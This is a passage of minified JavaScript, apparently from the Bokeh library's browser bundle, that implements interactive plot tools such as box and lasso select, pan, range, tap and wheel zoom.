r=n[i];t.keyCode===o.Keys.Backspace?(this._delete_selected(r),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source)):t.keyCode==o.Keys.Esc&&(this._drawing?(this._remove_vertex(),this._drawing=!1):this._selected_renderer&&this._hide_vertices(),r.data_source.selection_manager.clear())}}},t.prototype.deactivate=function(){this._selected_renderer&&(this._drawing&&(this._remove_vertex(),this._drawing=!1),this._hide_vertices())},t}(r.PolyToolView);i.PolyEditToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Edit Tool\\\",e.icon=\\\"bk-tool-icon-poly-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=4,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyEditTool\\\",this.prototype.default_view=s},t}(r.PolyTool);(i.PolyEditTool=a).initClass()},function(t,e,i){var n=t(391),r=t(15),a=t(44),o=t(243),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_vertices=function(t,e){var i=this.model.vertex_renderer.glyph,n=this.model.vertex_renderer.data_source,r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&(a.isArray(t)?n.data[o]=t:i.x={value:t}),s&&(a.isArray(e)?n.data[s]=e:i.y={value:e}),this._emit_cds_changes(n,!0,!0,!1)},e.prototype._hide_vertices=function(){this._set_vertices([],[])},e.prototype._snap_to_vertex=function(t,e,i){if(this.model.vertex_renderer){var n=this._select_event(t,!1,[this.model.vertex_renderer]),r=this.model.vertex_renderer.data_source,o=this.model.vertex_renderer.glyph,s=[o.x.field,o.y.field],a=s[0],l=s[1];if(n.length){var h=r.selected.indices[0];a&&(e=r.data[a][h]),l&&(i=r.data[l][h]),r.selection_manager.clear()}}return[e,i]},e}(o.EditToolView);i.PolyToolView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyTool\\\",this.prototype.default_view=s,this.define({vertex_renderer:[r.Instance]})},t}(o.EditTool);(i.PolyTool=l).initClass()},function(t,e,i){var v=t(391),n=t(256),r=t(64),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return v.__extends(e,t),e.prototype._compute_limits=function(t){var e=this.plot_model.frame,i=this.model.dimensions,n=this._base_point;if(\\\"center\\\"==this.model.origin){var r=n[0],o=n[1],s=t[0],a=t[1];n=[r-(s-r),o-(a-o)]}return this.model._get_dim_limits(n,t,e,i)},e.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this._base_point=[e,i]},e.prototype._pan=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1];if(this.model.overlay.update({left:o[0],right:o[1],top:s[0],bottom:s[1]}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(o,s,!1,a)}},e.prototype._pan_end=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1],a=t.shiftKey;this._do_select(o,s,!0,a),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null,this.plot_view.push_state(\\\"box_select\\\",{selection:this.plot_view.get_selection()})},e.prototype._do_select=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l={type:\\\"rect\\\",sx0:r,sx1:o,sy0:s,sy1:a};this._select(l,i,n)},e.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=t.sx0,s=t.sx1,a=t.sy0,l=t.sy1,h=n.r_invert(o,s),u=h[0],c=h[1],_=r.r_invert(a,l),p=_[0],d=_[1],f=v.__assign({x0:u,y0:p,x1:c,y1:d},t);this.model.callback.execute(this.model,{geometry:f})},e}(n.SelectToolView);i.BoxSelectToolView=s;var a=function(){return new r.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Select\\\",e.icon=\\\"bk-tool-icon-box-select\\\",e.event_type=\\\"pan\\\",e.default_order=30,e}return v.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxSelectTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"],select_every_mousemove:[o.Bool,!1],callback:[o.Instance],overlay:[o.Instance,a],origin:[o.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(n.SelectTool);(i.BoxSelectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(64),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._match_aspect=function(t,e,i){var n,r,o,s,a=i.bbox.aspect,l=i.bbox.h_range.end,h=i.bbox.h_range.start,u=i.bbox.v_range.end,c=i.bbox.v_range.start,_=Math.abs(t[0]-e[0]),p=Math.abs(t[1]-e[1]),d=0==p?0:_/p,f=(a<=d?[1,d/a]:[a/d,1])[0];return t[0]<=e[0]?(n=t[0],r=t[0]+_*f,l<r&&(r=l)):(r=t[0],(n=t[0]-_*f)<h&&(n=h)),_=Math.abs(r-n),t[1]<=e[1]?(s=t[1],o=t[1]+_/a,u<o&&(o=u)):(o=t[1],(s=t[1]-_/a)<c&&(s=c)),p=Math.abs(o-s),t[0]<=e[0]?r=t[0]+a*p:n=t[0]-a*p,[[n,r],[s,o]]},e.prototype._compute_limits=function(t){var e,i,n,r,o=this.plot_model.frame,s=this.model.dimensions,a=this._base_point;if(\\\"center\\\"==this.model.origin){var l=a[0],h=a[1],u=t[0],c=t[1];a=[l-(u-l),h-(c-h)]}return this.model.match_aspect&&\\\"both\\\"==s?(e=this._match_aspect(a,t,o),n=e[0],r=e[1]):(i=this.model._get_dim_limits(a,t,o,s),n=i[0],r=i[1]),[n,r]},e.prototype._pan_start=function(t){this._base_point=[t.sx,t.sy]},e.prototype._pan=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this.model.overlay.update({left:n[0],right:n[1],top:r[0],bottom:r[1]})},e.prototype._pan_end=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this._update(n,r),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null},e.prototype._update=function(t,e){var i=t[0],n=t[1],r=e[0],o=e[1];if(!(Math.abs(n-i)<=5||Math.abs(o-r)<=5)){var s=this.plot_model.frame,a=s.xscales,l=s.yscales,h={};for(var u in a){var c=a[u],_=c.r_invert(i,n),p=_[0],d=_[1];h[u]={start:p,end:d}}var f={};for(var v in l){var c=l[v],m=c.r_invert(r,o),p=m[0],d=m[1];f[v]={start:p,end:d}}var g={xrs:h,yrs:f};this.plot_view.push_state(\\\"box_zoom\\\",{range:g}),this.plot_view.update_range(g)}},e}(r.GestureToolView);i.BoxZoomToolView=a;var l=function(){return new o.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Zoom\\\",e.icon=\\\"bk-tool-icon-box-zoom\\\",e.event_type=\\\"pan\\\",e.default_order=20,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[s.Dimensions,\\\"both\\\"],overlay:[s.Instance,l],match_aspect:[s.Bool,!1],origin:[s.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.BoxZoomTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.GestureToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=o.OnOffButtonView,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GestureTool\\\"},t}(r.ButtonTool);(i.GestureTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data=null},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_overlay()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_overlay()},t.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this.data={sx:[e],sy:[i]}},t.prototype._pan=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox.clip(e,i),r=n[0],o=n[1];this.data.sx.push(r),this.data.sy.push(o);var s=this.model.overlay;if(s.update({xs:this.data.sx,ys:this.data.sy}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!1,a)}},t.prototype._pan_end=function(t){this._clear_overlay();var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"lasso_select\\\",{selection:this.plot_view.get_selection()})},t.prototype._clear_overlay=function(){this.model.overlay.update({xs:[],ys:[]})},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.LassoSelectToolView=a;var h=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},u=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Lasso Select\\\",e.icon=\\\"bk-tool-icon-lasso-select\\\",e.event_type=\\\"pan\\\",e.default_order=12,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"LassoSelectTool\\\",this.prototype.default_view=a,this.define({select_every_mousemove:[s.Bool,!0],callback:[s.Instance],overlay:[s.Instance,h]})},t}(n.SelectTool);(i.LassoSelectTool=u).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox;if(!n.contains(e,i)){var r=n.h_range,o=n.v_range;(e<r.start||e>r.end)&&(this.v_axis_only=!0),(i<o.start||i>o.end)&&(this.h_axis_only=!0)}null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan=function(t){this._update(t.deltaX,t.deltaY),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan_end=function(t){this.h_axis_only=!1,this.v_axis_only=!1,null!=this.pan_info&&this.plot_view.push_state(\\\"pan\\\",{range:this.pan_info})},e.prototype._update=function(t,e){var i,n,r,o,s,a,l=this.plot_model.frame,h=t-this.last_dx,u=e-this.last_dy,c=l.bbox.h_range,_=c.start-h,p=c.end-h,d=l.bbox.v_range,f=d.start-u,v=d.end-u,m=this.model.dimensions;\\\"width\\\"!=m&&\\\"both\\\"!=m||this.v_axis_only?(i=c.start,n=c.end,r=0):(i=_,n=p,r=-h),\\\"height\\\"!=m&&\\\"both\\\"!=m||this.h_axis_only?(o=d.start,s=d.end,a=0):(o=f,s=v,a=-u),this.last_dx=t,this.last_dy=e;var g=l.xscales,y=l.yscales,b={};for(var x in g){var w=g[x],k=w.r_invert(i,n),S=k[0],C=k[1];b[x]={start:S,end:C}}var T={};for(var A in y){var w=y[A],E=w.r_invert(o,s),S=E[0],C=E[1];T[A]={start:S,end:C}}this.pan_info={xrs:b,yrs:T,sdx:r,sdy:a},this.plot_view.update_range(this.pan_info,!0)},e}(r.GestureToolView);i.PanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Pan\\\",e.event_type=\\\"pan\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PanTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Pan\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){switch(this.dimensions){case\\\"both\\\":return\\\"bk-tool-icon-pan\\\";case\\\"width\\\":return\\\"bk-tool-icon-xpan\\\";case\\\"height\\\":return\\\"bk-tool-icon-ypan\\\"}},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.PanTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=t(21),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data={sx:[],sy:[]}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_data()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_data()},t.prototype._doubletap=function(t){var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"poly_select\\\",{selection:this.plot_view.get_selection()}),this._clear_data()},t.prototype._clear_data=function(){this.data={sx:[],sy:[]},this.model.overlay.update({xs:[],ys:[]})},t.prototype._tap=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame;n.bbox.contains(e,i)&&(this.data.sx.push(e),this.data.sy.push(i),this.model.overlay.update({xs:a.copy(this.data.sx),ys:a.copy(this.data.sy)}))},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.PolySelectToolView=h;var u=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Select\\\",e.icon=\\\"bk-tool-icon-polygon-select\\\",e.event_type=\\\"tap\\\",e.default_order=11,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolySelectTool\\\",this.prototype.default_view=h,this.define({callback:[s.Instance],overlay:[s.Instance,u]})},t}(n.SelectTool);(i.PolySelectTool=c).initClass()},function(t,e,i){var n=t(391),_=t(64),r=t(14),o=t(15),s=t(251);function p(t,e,i,n){if(null==e)return!1;var r=i.compute(e);return Math.abs(t-r)<n}function d(t,e,i,n,r){var o=!0;if(null!=r.left&&null!=r.right){var s=i.invert(t);(s<r.left||s>r.right)&&(o=!1)}if(null!=r.bottom&&null!=r.top){var a=n.invert(e);(a<r.bottom||a>r.top)&&(o=!1)}return o}function l(t,e,i,n){var r=e.compute(t),o=e.invert(r+i);return o>=n.start&&o<=n.end?o:t}function h(t,e,i,n){var r=e.r_compute(t.start,t.end),o=r[0],s=r[1],a=e.r_invert(o+i,s+i),l=a[0],h=a[1];l>=n.start&&l<=n.end&&h>=n.start&&h<=n.end&&(t.start=l,t.end=h)}i.is_near=p,i.is_inside=d,i.compute_value=l,i.update_range=h;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.side=0,this.model.update_overlay_from_ranges()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),null!=this.model.x_range&&this.connect(this.model.x_range.change,function(){return t.model.update_overlay_from_ranges()}),null!=this.model.y_range&&this.connect(this.model.y_range.change,function(){return t.model.update_overlay_from_ranges()})},t.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=this.model.x_range,i=this.model.y_range,n=this.plot_model.frame,r=n.xscales.default,o=n.yscales.default,s=this.model.overlay,a=s.left,l=s.right,h=s.top,u=s.bottom,c=this.model.overlay.properties.line_width.value()+_.EDGE_TOLERANCE;null!=e&&this.model.x_interaction&&(p(t.sx,a,r,c)?this.side=1:p(t.sx,l,r,c)?this.side=2:d(t.sx,t.sy,r,o,s)&&(this.side=3)),null!=i&&this.model.y_interaction&&(0==this.side&&p(t.sy,u,o,c)&&(this.side=4),0==this.side&&p(t.sy,h,o,c)?this.side=5:d(t.sx,t.sy,r,o,this.model.overlay)&&(3==this.side?this.side=7:this.side=6))},t.prototype._pan=function(t){var e=this.plot_model.frame,i=t.deltaX-this.last_dx,n=t.deltaY-this.last_dy,r=this.model.x_range,o=this.model.y_range,s=e.xscales.default,a=e.yscales.default;null!=r&&(3==this.side||7==this.side?h(r,s,i,e.x_range):1==this.side?r.start=l(r.start,s,i,e.x_range):2==this.side&&(r.end=l(r.end,s,i,e.x_range))),null!=o&&(6==this.side||7==this.side?h(o,a,n,e.y_range):4==this.side?o.start=l(o.start,a,n,e.y_range):5==this.side&&(o.end=l(o.end,a,n,e.y_range))),this.last_dx=t.deltaX,this.last_dy=t.deltaY},t.prototype._pan_end=function(t){this.side=0},t}(s.GestureToolView);i.RangeToolView=a;var u=function(){return new _.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",fill_color:\\\"lightgrey\\\",fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:.5},line_dash:[2,2]})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Range Tool\\\",e.icon=\\\"bk-tool-icon-range\\\",e.event_type=\\\"pan\\\",e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RangeTool\\\",this.prototype.default_view=a,this.define({x_range:[o.Instance,null],x_interaction:[o.Bool,!0],y_range:[o.Instance,null],y_interaction:[o.Bool,!0],overlay:[o.Instance,u]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this.overlay.in_cursor=\\\"grab\\\",this.overlay.ew_cursor=null!=this.x_range&&this.x_interaction?\\\"ew-resize\\\":null,this.overlay.ns_cursor=null!=this.y_range&&this.y_interaction?\\\"ns-resize\\\":null},t.prototype.update_overlay_from_ranges=function(){null==this.x_range&&null==this.y_range&&(this.overlay.left=null,this.overlay.right=null,this.overlay.bottom=null,this.overlay.top=null,r.logger.warn(\\\"RangeTool not configured with any Ranges.\\\")),null==this.x_range?(this.overlay.left=null,this.overlay.right=null):(this.overlay.left=this.x_range.start,this.overlay.right=this.x_range.end),null==this.y_range?(this.overlay.bottom=null,this.overlay.top=null):(this.overlay.bottom=this.y_range.start,this.overlay.top=this.y_range.end)},t}(s.GestureTool);(i.RangeTool=c).initClass()},function(t,e,i){var y=t(391),n=t(251),o=t(186),r=t(271),s=t(15),a=t(5),b=t(3),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return y.__extends(e,t),Object.defineProperty(e.prototype,\\\"computed_renderers\\\",{get:function(){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;return r.compute_renderers(t,e,i)},enumerable:!0,configurable:!0}),e.prototype._computed_renderers_by_data_source=function(){for(var t={},e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=void 0;(r=n instanceof o.GraphRenderer?n.node_renderer.data_source.id:n.data_source.id)in t||(t[r]=[]),t[r].push(n)}return t},e.prototype._keyup=function(t){if(t.keyCode==a.Keys.Esc){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source,o=r.selection_manager;o.clear()}this.plot_view.request_render()}},e.prototype._select=function(t,e,i){var n=this._computed_renderers_by_data_source();for(var r in n){for(var o=n[r],s=o[0].get_selection_manager(),a=[],l=0,h=o;l<h.length;l++){var u=h[l];u.id in this.plot_view.renderer_views&&a.push(this.plot_view.renderer_views[u.id])}s.select(a,t,e,i)}null!=this.model.callback&&this._emit_callback(t),this._emit_selection_event(t,e)},e.prototype._emit_selection_event=function(t,e){void 0===e&&(e=!0);var i,n=this.plot_model.frame.xscales.default,r=this.plot_model.frame.yscales.default;switch(t.type){case\\\"point\\\":var o=t.sx,s=t.sy,a=n.invert(o),l=r.invert(s);i=y.__assign({},t,{x:a,y:l});break;case\\\"rect\\\":var h=t.sx0,u=t.sx1,c=t.sy0,_=t.sy1,p=n.r_invert(h,u),d=p[0],f=p[1],v=r.r_invert(c,_),m=v[0],g=v[1];i=y.__assign({},t,{x0:d,y0:m,x1:f,y1:g});break;case\\\"poly\\\":var o=t.sx,s=t.sy,a=n.v_invert(o),l=r.v_invert(s);i=y.__assign({},t,{x:a,y:l});break;default:throw new Error(\\\"Unrecognized selection geometry type: '\\\"+t.type+\\\"'\\\")}this.plot_model.plot.trigger_event(new b.SelectionGeometry({geometry:i,final:e}))},e}(n.GestureToolView);i.SelectToolView=l;var h=function(e){function t(t){return e.call(this,t)||this}return y.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectTool\\\",this.define({renderers:[s.Any,\\\"auto\\\"],names:[s.Array,[]]})},t}(n.GestureTool);(i.SelectTool=h).initClass()},function(t,e,i){var x=t(391),n=t(256),r=t(15),w=t(44),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return x.__extends(e,t),e.prototype._tap=function(t){var e=t.sx,i=t.sy,n={type:\\\"point\\\",sx:e,sy:i},r=t.shiftKey;this._select(n,!0,r)},e.prototype._select=function(t,e,i){var n=this,r=this.model.callback;if(\\\"select\\\"==this.model.behavior){var o=this._computed_renderers_by_data_source();for(var s in o){var a=o[s],l=a[0].get_selection_manager(),h=a.map(function(t){return n.plot_view.renderer_views[t.id]}),u=l.select(h,t,e,i);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[a[0].x_range_name],p=c.yscales[a[0].y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}this._emit_selection_event(t),this.plot_view.push_state(\\\"tap\\\",{selection:this.plot_view.get_selection()})}else for(var g=0,y=this.computed_renderers;g<y.length;g++){var b=y[g],l=b.get_selection_manager(),u=l.inspect(this.plot_view.renderer_views[b.id],t);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[b.x_range_name],p=c.yscales[b.y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}},e}(n.SelectToolView);i.TapToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Tap\\\",e.icon=\\\"bk-tool-icon-tap-select\\\",e.event_type=\\\"tap\\\",e.default_order=10,e}return x.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"TapTool\\\",this.prototype.default_view=o,this.define({behavior:[r.String,\\\"select\\\"],callback:[r.Any]})},t}(n.SelectTool);(i.TapTool=s).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._scroll=function(t){var e=this.model.speed*t.delta;.9<e?e=.9:e<-.9&&(e=-.9),this._update_ranges(e)},e.prototype._update_ranges=function(t){var e,i,n,r,o=this.plot_model.frame,s=o.bbox.h_range,a=o.bbox.v_range,l=[s.start,s.end],h=l[0],u=l[1],c=[a.start,a.end],_=c[0],p=c[1];switch(this.model.dimension){case\\\"height\\\":var d=Math.abs(p-_);e=h,i=u,n=_-d*t,r=p-d*t;break;case\\\"width\\\":var f=Math.abs(u-h);e=h-f*t,i=u-f*t,n=_,r=p;break;default:throw new Error(\\\"this shouldn't have happened\\\")}var v=o.xscales,m=o.yscales,g={};for(var y in v){var b=v[y],x=b.r_invert(e,i),w=x[0],k=x[1];g[y]={start:w,end:k}}var S={};for(var C in m){var b=m[C],T=b.r_invert(n,r),w=T[0],k=T[1];S[C]={start:w,end:k}}var A={xrs:g,yrs:S,factor:t};this.plot_view.push_state(\\\"wheel_pan\\\",{range:A}),this.plot_view.update_range(A,!1,!0),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.GestureToolView);i.WheelPanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Pan\\\",e.icon=\\\"bk-tool-icon-wheel-pan\\\",e.event_type=\\\"scroll\\\",e.default_order=12,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelPanTool\\\",this.prototype.default_view=s,this.define({dimension:[o.Dimension,\\\"width\\\"]}),this.internal({speed:[o.Number,.001]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimension)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelPanTool=a).initClass()},function(t,e,i){var n=t(391),r=t(251),c=t(46),o=t(15),s=t(20),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pinch=function(t){var e,i=t.sx,n=t.sy,r=t.scale;e=1<=r?20*(r-1):-20/r,this._scroll({type:\\\"mousewheel\\\",sx:i,sy:n,delta:e})},e.prototype._scroll=function(t){var e=this.plot_model.frame,i=e.bbox.h_range,n=e.bbox.v_range,r=t.sx,o=t.sy,s=this.model.dimensions,a=(\\\"width\\\"==s||\\\"both\\\"==s)&&i.start<r&&r<i.end,l=(\\\"height\\\"==s||\\\"both\\\"==s)&&n.start<o&&o<n.end;if(a&&l||this.model.zoom_on_axis){var h=this.model.speed*t.delta,u=c.scale_range(e,h,a,l,{x:r,y:o});this.plot_view.push_state(\\\"wheel_zoom\\\",{range:u}),this.plot_view.update_range(u,!1,!0,this.model.maintain_focus),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)}},e}(r.GestureToolView);i.WheelZoomToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Zoom\\\",e.icon=\\\"bk-tool-icon-wheel-zoom\\\",e.event_type=s.is_mobile?\\\"pinch\\\":\\\"scroll\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[o.Dimensions,\\\"both\\\"],maintain_focus:[o.Boolean,!0],zoom_on_axis:[o.Boolean,!0],speed:[o.Number,1/600]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelZoomTool=l).initClass()},function(t,e,i){var n=t(232);i.ActionTool=n.ActionTool;var r=t(233);i.CustomAction=r.CustomAction;var o=t(234);i.HelpTool=o.HelpTool;var s=t(235);i.RedoTool=s.RedoTool;var a=t(236);i.ResetTool=a.ResetTool;var l=t(237);i.SaveTool=l.SaveTool;var h=t(238);i.UndoTool=h.UndoTool;var u=t(239);i.ZoomInTool=u.ZoomInTool;var c=t(240);i.ZoomOutTool=c.ZoomOutTool;var _=t(241);i.ButtonTool=_.ButtonTool;var p=t(243);i.EditTool=p.EditTool;var d=t(242);i.BoxEditTool=d.BoxEditTool;var f=t(244);i.FreehandDrawTool=f.FreehandDrawTool;var v=t(245);i.PointDrawTool=v.PointDrawTool;var m=t(246);i.PolyDrawTool=m.PolyDrawTool;var g=t(248);i.PolyTool=g.PolyTool;var y=t(247);i.PolyEditTool=y.PolyEditTool;var b=t(249);i.BoxSelectTool=b.BoxSelectTool;var x=t(250);i.BoxZoomTool=x.BoxZoomTool;var w=t(251);i.GestureTool=w.GestureTool;var k=t(252);i.LassoSelectTool=k.LassoSelectTool;var S=t(253);i.PanTool=S.PanTool;var C=t(254);i.PolySelectTool=C.PolySelectTool;var T=t(255);i.RangeTool=T.RangeTool;var A=t(256);i.SelectTool=A.SelectTool;var E=t(257);i.TapTool=E.TapTool;var M=t(258);i.WheelPanTool=M.WheelPanTool;var O=t(259);i.WheelZoomTool=O.WheelZoomTool;var z=t(261);i.CrosshairTool=z.CrosshairTool;var P=t(262);i.CustomJSHover=P.CustomJSHover;var j=t(263);i.HoverTool=j.HoverTool;var N=t(264);i.InspectTool=N.InspectTool;var F=t(266);i.Tool=F.Tool;var D=t(267);i.ToolProxy=D.ToolProxy;var 